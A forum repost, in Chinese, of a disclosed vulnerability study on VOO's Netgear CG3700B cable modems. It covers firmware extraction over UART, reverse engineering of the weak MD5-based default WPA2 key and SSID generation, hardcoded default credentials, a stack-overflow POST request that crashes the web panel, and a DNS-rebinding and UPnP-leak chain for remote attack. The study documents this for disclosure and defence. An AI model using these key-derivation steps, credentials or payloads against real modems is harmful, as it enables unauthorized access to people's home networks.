• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

RCE漏洞挖掘与利用研究VOO modem


Recommended Posts

0x01 漏洞概述

本文总结了voo的NETGEAR CG3100和CG3700B调制解调器中的VOOdoo漏洞。

这些调制解调器使用弱加密算法生成默认的WPA2预共享密钥,这样攻击者就可以从易受攻击的调制解调器接收范围内的接入点的MAC地址获取WPA2预共享密钥。使用调制解调器通过网络管理面板执行远程代码。由于在多个表单处理程序中使用了派生凭证,该漏洞可能会被利用。

这些漏洞形成了一个利用链,攻击者可以未经授权访问VOO客户的局域网。通过互联网或者在接入点的接收范围内,他们可以攻击路由器,留下持久的后门,直接远程访问网络。

完整的技术报告如下:

https://quentinkaiser.be/assets/qkaiser_voodoo_2021.pdf在2020年6月向VOO报告了这些问题,并与他们合作保护受影响的用户。

考虑到NETGEAR已经报废了设备,VOO在提出缓解策略时必须非常有创意,他们不愿意提供影响其固件的解决方案。O Vo工程师通过部署两个修复程序来防止远程利用:在ISP级别重新绑定过滤器,并禁用所有不明确使用UPnP服务的调制解调器上的UPnP服务。

已对无线堆栈进行了修复,以便接入点可以使用实际的无线SoC MAC地址,而不是Netgear固件在启动时分配的MAC地址。这样,接入点将不会泄露可用于导出默认无线预共享密钥的信息。

利用已知的netgear组织单位标识符和oracle接入点SSID,您可以强制实施有效的预共享密钥列表。

如果使用Netgear CG3100或CG3700B的用户仍在使用出厂默认设置,我强烈建议更新他们的无线SSID和密码。

O Vo是比利时的一家互联网服务提供商,主要为瓦隆区和布鲁塞尔部分地区提供服务。它使用DOCSIS通过现有的有线电视系统提供互联网连接。

O Vo目前部署了两种不同型号的调制解调器:

网件CG3700B

Technicolor TC7210V

modem-netgear-technicolor.jpg

由于最近发布了《电缆出没》,我们决定研究以下型号:Netgear CG3700B。

0x02 固件提取

NETGEAR不会为大型ISP专用的设备发布固件文件。为了访问固件,我们必须利用Web管理面板中的漏洞,或者使用物理方法,如闪存提取或UART访问。

鉴于我们对设备的了解有限,我们决定采用物理的方法,把箱子拆开。

1.访问UART串口

我们立即识别出两个UART引脚。当波特率被自动识别时,我们注意到第一个引脚被充电,而另一个引脚没有。通常,调制解调器有两个独立的系统:运行Linux的媒体服务器(ms)和运行eCOS或VxWorks的调制解调器(CM)实时操作系统。事实证明,这个特定的模型没有媒体服务器组件。

netgear_cg3700b_pinout

在完成详细的启动过程后,我们将Bus Pirate连接到UART引脚,并获得CM控制台。

53842.jpeg" title="1651583042139990.jpeg" alt="voo_uart_pinout.jpg"/>
BCM3383A2 TP0 346890
MemSize:            128 M
Chip ID:     BCM3383Z-B0
BootLoader Version: 2.4.0alpha18 Release Gnu spiboot dual-flash reduced DDR drive linux
Build Date: Dec 15 2014
Build Time: 19:25:30
SPI flash ID 0xc22013, size 0MB, block size 64KB, write buffer 256, flags 0x0
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
parameter offset is 41508
Signature/PID: c200
Reading flash map at ff30, size 192
Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x0, length 0x5c
Image 1 Program Header:
   Signature: c200
     Control: 0005
   Major Rev: 0003
   Minor Rev: 0000
  Build Time: 2016/10/25 08:50:23 Z
 File Length: 4951748 bytes
Load Address: 80004000
    Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
         HCS: d65b
         CRC: 6991be87
Found image 1 at offset 80000
NandFlashRead: Reading offset 0x4000000, length 0x5c
Enter '1', '2', or 'p' within 2 seconds or take default...
. .
NandFlashRead: Reading offset 0x0, length 0x200
NandFlashRead: Reading offset 0x200, length 0x4b8d20
Performing CRC on Image 1...
CRC time = 131499340
Detected LZMA compressed image... decompressing...
Target Address: 0x80004000
decompressSpace is 0x8000000
Elapsed time 3160571220
Decompressed length: 23144647
Copying partition table to 0x83fffc04 180
Copying partition table to 0x80000904 180
Executing Image 1...
--snip--
CM>

2.使用bcm2-utils提取固件

在搜索基于Broadcom的调制解调器的文档时,我们发现了bcm2-utils。该项目提供了两个实用程序:

https://github.com/jclehner/bcm2-utils

bcm2dump:Dumpram / flash的实用程序,主要用作基于Broadcom SoC的调制解调器的固件Dump工具。通过串行连接和telnet工作。

bcm2cfg:用于修改/加密/解密配置文件(也称为GatewaySettings.bin)以及NVRAMImage的工具。

bcm2dump需要从 profiledef.c 定义特定型号的内存映射才能工作。由于测试中的设备还没有被记录下来,我们使用调制解调器的flash命令来收集信息。

如下所示,eCOS系统使用两个flash:

引导程序和非易失性数据的SPI flash

NAND flash存储固件文件(image1和image2)。

CM> cd flash
Active Command Table:  Flash Driver Commands (flash)
CM -> flash
CM/Flash> show
Flash Device Information:
      CFI Compliant: no
        Command Set: Generic SPI Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 256 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 8
         Total size: 524288 bytes, 0 Mbytes
       Current mode: Read Array
        Device Size: 512 KB, Write buffer: 256, Flags: 0
      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0   64 0x1badf1a5           0         0 bootloader (65536 bytes)
    1   64 0x1baef1a5     0x10000         0 permnv (65536 bytes)
    2   64 0x1baff1a5     0x20000       ??? {unassigned}
    3   64 0x1bb0f1a5     0x30000       ??? {unassigned}
    4   64 0x1bb1f1a5     0x40000       ??? {unassigned}
    5   64 0x1bb2f1a5     0x50000       ??? {unassigned}
    6   64 0x1bb3f1a5     0x60000         0 dynnv
    7   64 0x1bb4f1a5     0x70000   0x10000 dynnv (131072 bytes)
Flash Device Information:
      CFI Compliant: no
        Command Set: Generic NAND Flash
   Device/Bus Width: x16
 Little Word Endian: no
    Fast Bulk Erase: no
    Multibyte Write: 512 bytes max
  Phys base address: 0xbadf1a5
 Uncached Virt addr: 0x1badf1a5
   Cached Virt addr: 0x2badf1a5
   Number of blocks: 1024
         Total size: 134217728 bytes, 128 Mbytes
       Current mode: Read Array
        Device Size: 128MB, Block size: 128KB, Page size: 2048
      Size  Device      Device     Region
Block  kB   Address     Offset     Offset   Region Allocation
----- ---- ---------- ----------- --------- -----------------
    0  128 0x1badf1a5           0         0 image1
    1  128 0x1baff1a5     0x20000   0x20000 image1
    2  128 0x1bb1f1a5     0x40000   0x40000 image1
    3  128 0x1bb3f1a5     0x60000   0x60000 image1
    4  128 0x1bb5f1a5     0x80000   0x80000 image1
    5  128 0x1bb7f1a5     0xa0000   0xa0000 image1
--snip--
  509  128 0x1fa7f1a5   0x3fa0000 0x3fa0000 image1
  510  128 0x1fa9f1a5   0x3fc0000 0x3fc0000 image1
  511  128 0x1fabf1a5   0x3fe0000 0x3fe0000 image1 (67108864 bytes)
  512  128 0x1fadf1a5   0x4000000         0 image2
  513  128 0x1faff1a5   0x4020000   0x20000 image2
  514  128 0x1fb1f1a5   0x4040000   0x40000 image2
  515  128 0x1fb3f1a5   0x4060000   0x60000 image2
  516  128 0x1fb5f1a5   0x4080000   0x80000 image2
--snip--
 1022  128 0x23a9f1a5   0x7fc0000 0x3fc0000 image2
 1023  128 0x23abf1a5   0x7fe0000 0x3fe0000 image2 (67108864 bytes)

掌握了这些信息后,编写以下资料:

diff --git a/profiledef.c b/profiledef.c
index 8cb6f9b..25dac47 100644
--- a/profiledef.c
+++ b/profiledef.c
@@ -66,6 +66,33 @@ struct bcm2_profile bcm2_profiles[] = {
                                { .name = "ram" },
                                                },
},
+    {
+        .name = "CG3700B",
+        .pretty = "CG3700B-1V2FSS",
+        .pssig = 0xa0f7,
+        .baudrate = 115200,
+        .spaces  = {
+            { .name = "ram" },
+            {
+                .name = "nvram",
+                .size = 512 * 1024,
+                .parts = {
+                    { "bootloader", 0x0000000, 0x010000 },
+                    { "permnv",     0x0010000, 0x010000, "perm" },
+                    { "dynnv",      0x0060000, 0x020000, "dyn" },
+                }
+            },
+            {
+                .name = "flash",
+                .size = 128 * 1024 * 1024,
+                .parts = {
+                    { "image1", 0x0000000, 0x4000000 },
+                    { "image2", 0x4000000, 0x4000000 }
+                }
+
+            }
+        }
+    },

然后,我们尝试通过串行连接Dump固件Image,但是一直无法成功。后来我们发现eCOS一直在记录IPv6路由器消息,例如以下消息:

nd6_ra_input: Processing router advertisement from fe80:xxxx::xxxx:xxxx:xxxx:xxxx on interface bcm2

这些日志扰乱了 bcm2dump 从控制台获得的内容,我们的Dump过程也失败了,通过以下命令禁用路由广告日志来解决这个问题:

CM> /ip_hal/nd_debug false

最后,我们Dump了固件Image以及来自nvram的数据:

./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 flash image1 /tmp/image1.bin
./bcm2dump -vvv -P CG3700B dump /dev/ttyUSB0 nvram permnv /tmp/nvram.out
./bcm2dump -v -P CG3700B dump /dev/ttyUSB0 nvram dynnv /tmp/dynnv.out

Dump整个固件大约需要7个小时。

0x03 固件分析

1.提取 ProgramStore

固件文件以ProgramStore文件格式保存。该格式定义了一个自定义标头,其中包含日期,版本,文件名和加载地址,然后是使用LZMA压缩的实际固件。

https://github.com/Broadcom/aeolus/blob/master/ProgramStore/ProgramStore.h
00000000  c2 00 00 05 00 03 00 00  58 0f 1c cf 00 4b 8e c4  |........X....K..|
00000010  80 00 40 00 43 47 33 37  30 30 42 2d 31 56 32 46  |[email protected]|
00000020  53 53 5f 56 32 2e 30 33  2e 30 33 75 5f 73 74 6f  |SS_V2.03.03u_sto|
00000030  2e 62 69 6e 00 00 00 00  00 00 00 00 00 00 00 00  |.bin............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 d6 5b 00 00  69 91 be 87 5d 00 00 00  |.....[..i...]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b 6e a5 4f  |[email protected]|

为了解压缩固件Image,需要从Broadcom编译ProgramStore实用程序:

git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make

编译完成后,你可以使用它解压缩Image:

./ProgramStore -f ~/research/voo/image1.bin -x
No output file name specified.  Using /home/quentin/research/voo/image1.out.
Signature: c200
Control: 0005
Major Rev: 0003
Minor Rev: 0000
Build Time: 2016/10/25 08:50:23 Z
File Length: 4951748 bytes
Load Address: 80004000
Filename: CG3700B-1V2FSS_V2.03.03u_sto.bin
HCS: d65b
CRC: 6991be87

2.在Radare2中加载固件

可以使用以下命令在radare2中加载固件:

r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1

3.在Ghidra中加载固件

在Ghidra中加载时,需要将架构设置为MIPS 32位大端:

image1_ghidra_load.png

还需要设置正确的加载地址:

image1_ghidra_load_addr

可以定义更精确的内存映射以加快分析过程。

4.确定函数偏移

固件是去除所有符号的静态链接原始二进制文件,因此要准确识别函数可能会存在问题。

我们最初的计划是在代码中标识syscall,以找到其专用的函数封装器,然后从那里开始工作,但是找不到任何有用的东西。

Lyrebirds给了我们建议:

固件中通常是找到许多syscall的,因为syscall通常是与内核交互,而ecos固件始终在内核空间中运行。因此,IO交互将通过直接访问该设备的内核内存地址来完成。

我们讨论了一些方法:

按外部参照的数量对函数进行排序应该使库函数位于顶部,列表顶部的不调用任何其他函数的函数很可能是库函数

来自同一库的函数在链接到最终固件之前,已在相同的目标文件中编译,这意味着它们将以相同的顺序出现。例如,strncat在strlen之后紧随其后。

使用FLIRT插件

https://www.hex-rays.com/products/ida/tech/flirt/in_depth/

MD5 函数

可以通过查找处理MD5转换表的函数来确定与MD5相关的函数。

md5_transform_disassembly.png

如果确定了md5_transorm,md5_init,md5_final,那么md5_update就在它们旁边。

字符串操作函数

任何引用0xFEFEFEFF和0x80808080的内容都很可能是字符串处理函数。这两个值在检查所有字节是否为非零的代码中使用。

strlen_disassembly.png

所使用的算法改编自Mac OS 9 stdCLib strcopy例程,该例程最初由Gary Davidian编写。它依赖于以下相当不明显但非常有效的测试:y = dataWord + 0xFEFEFEFF; z =〜dataWord&0x80808080; 如果(y&z)= 0,则dataWord中的所有字节都不为零。

0x04 漏洞挖掘

以下各节介绍了我们通过对固件代码进行逆向发现的安全漏洞。

1.不安全的WPA2 PSK生成

逆向 SSID 生成器

VOO调制解调器无线接入点的默认SSID设置为“ VOO-”,后跟六位数字。确定了在偏移量0x803bd1b8处生成默认SSID的函数。下面提供了函数反汇编代码,手动重命名了函数和参数。

compute_voo_ssid.png

通过使用MD5对设备的MAC地址之一进行哈希处理(格式为0x%06X),然后使用哈希的前6个字节作为整数模10来生成SSID,记录每个步骤的详细图表如下所示。

voo_ssid_generation_diagram.png

逆向 WPA PSK 生成器

SSID生成(偏移量0x803bd37c)下方的函数负责生成默认的PSK,下面提供了函数反汇编代码,手动重命名了函数和参数。

compute_voo_psk

通过使用MD5对访问点MAC地址进行哈希处理(格式为“ 0x%06X”),然后使用哈希值中包含的5到12个字节(强制转换为大写ASCII)来生成PSK。

voo_psk_generation_diagram.png

利用不安全的 PSK

通过将无线接口设置为监视模式,可以观察附近的接入点。然后,我们可以过滤以“ VOO-”开头的SSID和属于NETGEAR的MAC地址的SSID。

接入点MAC地址不是用于生成PSK的地址,但是鉴于MAC在受影响的设备上是连续的,可以猜测正确的MAC地址。

例如,以下是我们测试设置中的MAC地址:

MAC地址接口备注
a4:2b:8c:a0:c0:b8IP Stack1-上游局域网用于生成PSK
a4:2b:8c:a0:c0:b9IP Stack5-局域网
a4:2b:8c:a0:c0:baIP Stack6-上游局域网
a4:2b:8c:a0:c0:bbAP MAC地址监测到的MAC
a4:2b:8c:a0:c0:bcIP Stack3-广域网

为了猜测正确的MAC地址,可以强制执行MAC地址的最后一个八位字节,并使用SSID值作为oracle,这样就可以知道是否得到了正确的MAC地址,这意味着最多要检查oracle 255次。

在配置文件中,用于生成PSK的MAC始终是MAC-0x03。通过从WiGLE中索引的所有VOO接入点的MAC地址0x03导出SSID,并根据索引的SSID验证结果,从而验证了这一假设。

如下图所示,受影响的设备中有63%使用的“ MAC distance”为3。这意味着对于所有这些设备,不需要进行爆破,通过推导就可以获得SSID。。

其余37%的用户大概率也使用录入与MAC命名惯例相同的预测规律,不同的是IP Stack6和IP Stack1接口之间的组织唯一标识符。

2.默认弱口令凭证

已识别出多个弱口令默认帐户:

MSO:changeme 可以通过https://192.168.0.1:8443/访问Web界面

admin:admin 启用这些服务后,可以通过IP Stack1接口通过Telnet或SSH访问路由器。IP Stack1是暴露给ISP OSS网络的接口。

readyshare:readyshare  DLNA / SMB帐户(目前VOO尚未使用)

3.缓冲区溢出漏洞

调制解调器的Web管理代码中存在大内存不安全的C函数(例如strcpy)的调用,设备容易受到远程缓冲区溢出漏洞的影响。

通过发送如下所示的HTTP请求,有可能触发栈溢出。发送请求将触发崩溃,详细崩溃日志如下:

POST /goform/controle?id=1205828651 HTTP/1.1
Host: 192.168.0.1
Content-Length: 596
Cache-Control: max-age=0
Authorization: Basic dm9vOkhSRExUV0tJ
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.1/controle.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close
text_keyword=a&text_block=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&text_allow=&Action_Add=Add&Action_Del=0&Action_Function=2

会触发栈溢出:

>>> YIKES... looks like you may have a problem! <<< 
r0/zero=00000000 r1/at  =00000000 r2/v0  =80f6fcc4 r3/v1  =41414141
r4/a0  =00000000 r5/a1  =86489960 r6/a2  =80808080 r7/a3  =01010101
r8/t0  =86489860 r9/t1  =fffffffe r10/t2 =864897c0 r11/t3 =86489850
r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d
r16/s0 =815d9be5 r17/s1 =815d9ab4 r18/s2 =80f758d8 r19/s3 =815d9ac1
r20/s4 =815d9bcd r21/s5 =815d9bd9 r22/s6 =00000000 r23/s7 =815d9bf4
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000005 r27/k1 =00000005
r28/gp =8161e5d0 r29/sp =86489850 r30/fp =864899ec r31/ra =8068069c
PC   : 0x806809d4    error addr: 0x41414141
cause: 0x00000014    status:     0x1000ff03
BCM interrupt enable: 18024085, status: 00000000
Instruction at PC: 0xac620000
iCache Instruction at PC: 0xafbf0000
entry 80680340  Return address (41414141) invalid.  Trace stops.
Task: HttpServerThread
---------------------------------------------------
ID:               0x00e8
Handle:           0x8648f2c0
Set Priority:     23
Current Priority: 23
State:            SUSP
Stack Base:       0x86483e0c
Stack Size:       24576 bytes
Stack Used:       4508 bytes

返回地址已被payload(0x41414141)覆盖。可以开发出有效的漏洞利用程序来在设备上实现稳定的远程代码执行利用。

PoC如下:

https://github.com/QKaiser/voodoo

0x05 远程漏洞利用

VOO调制解调器的Web管理界面未直接暴露于公共Internet上,只能从局域网LAN端访问。但是,攻击者可能通过使用户打开恶意网页来攻击调制解调器。恶意网页将利用缓冲区溢漏洞来执行JavaScript代码,以实现远程代码行。为此,恶意代码将需要绕过两个安全机制:同源策略、强制身份验证和授权。

我们发现受影响的设备容易受到DNS重新绑定攻击的攻击,可用于绕过同源策略。由于信息泄漏影响了调制解调器公开的通用即插即用服务,我们还确定了获取有效凭据的方法。

1.DNS重绑定

攻击者注册了一个域(例如Attacker.com),并将其委派给受攻击者控制的DNS服务器。服务器配置为以非常短的生存时间(TTL)记录进行响应,从而防止DNS响应被缓存。当受害者浏览到恶意域时,攻击者的DNS服务器首先以托管恶意客户端代码的服务器的IP地址进行响应。

恶意的客户端代码对原始域名(例如Attacker.com)进行了其他访问,这些是同源政策所允许的。但是,当受害者的浏览器运行脚本时,它将向该域发出新的DNS请求,攻击者将使用新的IP地址进行回复。在我们的目标中,他们将使用调制解调器的默认IP地址(192.168.0.1)进行答复。

针对VOO调制解调器的DNS重新绑定攻击。

受影响的设备很容易受到DNS重新绑定的影响,因为它们不检查HTTP请求主机标头值。当设备收到对已经反弹的域的请求时,主机标头将设置为反弹域名(例如,Attacker.com)。设备缺少防护措施,例如仅允许使用主机标头作为设备的IP地址(例如192.168.0.1)或设备的主机名(例如mymodem.voo)。

2.强制身份验证

受影响的设备在所有Web管理界面上强制执行身份验证。因此,恶意客户端代码需要获得有效的凭据。

硬编码帐户

存在默认帐户(MSO:changeme),但只能在https://192.168.0.1:8443上使用。鉴于它是配置有不受信任证书的SSL / TLS服务,因此对该URL的任何请求都将被浏览器阻止。

因此,将经过身份验证的请求发送到Web管理面板的唯一方法是获取“ voo”用户的密码。“ voo”用户密码是无线预共享密钥值,攻击者将需要派生正确的预共享密钥。

UPnP信息泄漏

Netgear CG3700B设备默认在其服务器上公开通用即插即用服务。当从http://192.168.0.1/RootDevice.xml请求根设备信息时,设备将返回一个XML文件,该文件的唯一设备名(UDN)设置为uuid:upnp-InternetGatewayDevice-1_0-,后跟设备的IP Stack5接口MAC小写的地址字节:

< ?xml version="1.0" encoding="utf-8"? >< root xmlns="urn:schemas-upnp-org:device-1-0" >
--snip--
< modelNumber >CG3700B-1V2FSS< /modelNumber >< modelURL >  /modelURL >< serialNumber >37P4547201B84< /serialNumber >< UDN >uuid:upnp-InternetGatewayDevice-1_0-a42b8ca0c0b9< /UDN > < !--here-- >
--snip--

假设IP Stack5接口MAC地址只是设备的IP Stack1接口MAC地址+ 1字节,并且IP Stack1接口MAC地址用于派生预共享密钥,我们可以利用此信息泄漏来派生密码用于在网络管理面板上进行身份验证。

使用由10个随机数字组成的CSRF令牌,可以保护状态更改请求免受跨站点伪造。考虑到一旦攻击者的域反弹到调制解调器的IP地址,受害者的浏览器将认为恶意代码在同一来源执行,这对我们的利用不会造成任何问题。利用脚本可以简单地请求设置了anti-CSRF令牌的页面,对其进行解析,然后在提交后续请求时使用它。

3.端到端攻击流程

下方显示了一个完整的端到端攻击流程的图,而可以在github找到使设备远程崩溃的PoC。

0x06 影响量评估

我们从WiGLE下载了数据,以评估这些VOO漏洞的影响程度。WiGLE是一个无线地理记录引擎网站,用于收集世界各地不同无线热点的信息。用户可以在网站上注册并上传热点数据,例如GPS坐标,SSID,MAC地址以及热点上使用的加密类型。

我们开发了一个脚本,用于从WiGLE API中提取数据,并设置了过滤器以匹配访问点,该访问点的SSID与位于比利时的VOO命名约定(即“ VOO- [0-9] {6}”)匹配,并且供应商是Netgear或Technicolor。我们总共获得了69763个唯一数据点,并将这些结果输入到ELK栈(ElasticSearch,Kibana,Logstash)中进行分析。

如果假设VOO使客户使用Technicolor路由器替换其Netgear路由器,仅根据2020年观察到的供应商分布的保守估计,它将达到200.000左右。如果VOO不让客户更换Netgear路由器,那么影响量大约在376.000台。

0x07 分析总结

在此研究中,我们成功地证明了VOO调制解调器的无线接收范围内的攻击者可以成功导出默认的WPA2预共享密钥,并实现对客户无线LAN的未授权访问。还证明了Web管理面板容易受到缓冲区溢出漏洞的影响。通过链接这两个漏洞,攻击者只需在接收范围内就可以攻击VOO调制解调器。

通过利用影响UPnP服务描述符的信息泄漏漏洞和缺乏防止DNS重绑定问题,还证明了缓冲区溢出漏洞可以被Internet上的远程攻击者利用。

下面是验证演示视频:

https://quentinkaiser.be/assets/voodoo_exploit_run_srt.mp4

0x08 参考资料

Cable Haunt, Lyrebirds ApS, https://ida.dk/media/6353/jens-h-staermose.pdf

Kablonet WiFi Password, mustafadur, https://www.mustafadur.com/blog/kablonet/

Do not create a backdoor, use your provider one, Kudelski Security, https://research.kudelskisecurity.com/2017/01/06/do-not-create-a-backdoor-use-your-providers-one/

Hacking the Cable Modem: What Cable Companies Don’t Want You to Know, DerEngel, https://books.google.be/books/about/Hacking_the_Cable_Modem.html?id=PblPcRqHM0wC

Hacking the Cable Modem, Samuel Koo, Jihong Yoon, https://www.slideserve.com/kiaria/hacking-the-cable-modem-part-1

A Case Study in Practical Security of Cable Networks, Amir Alsbih, Felix C. Freiling, and Christian Schindelhauer, https://link.springer.com/content/pdf/10.1007%2F978-3-642-21424-0_8.pdf

Aeolus, Broadcom, https://github.com/Broadcom/aeolus

bcm2-utils, Joseph C. Lehner, https://github.com/jclehner/bcm2-utils

Sagemcom Fast 3890 Exploit, Lyrebirds ApS, https://github.com/Lyrebirds/sagemcom-fast-3890-exploit

Technicolor TC7230 exploit, Lyrebirds ApS, https://github.com/Lyrebirds/technicolor-tc7230-exploit

Link to comment
Share on other sites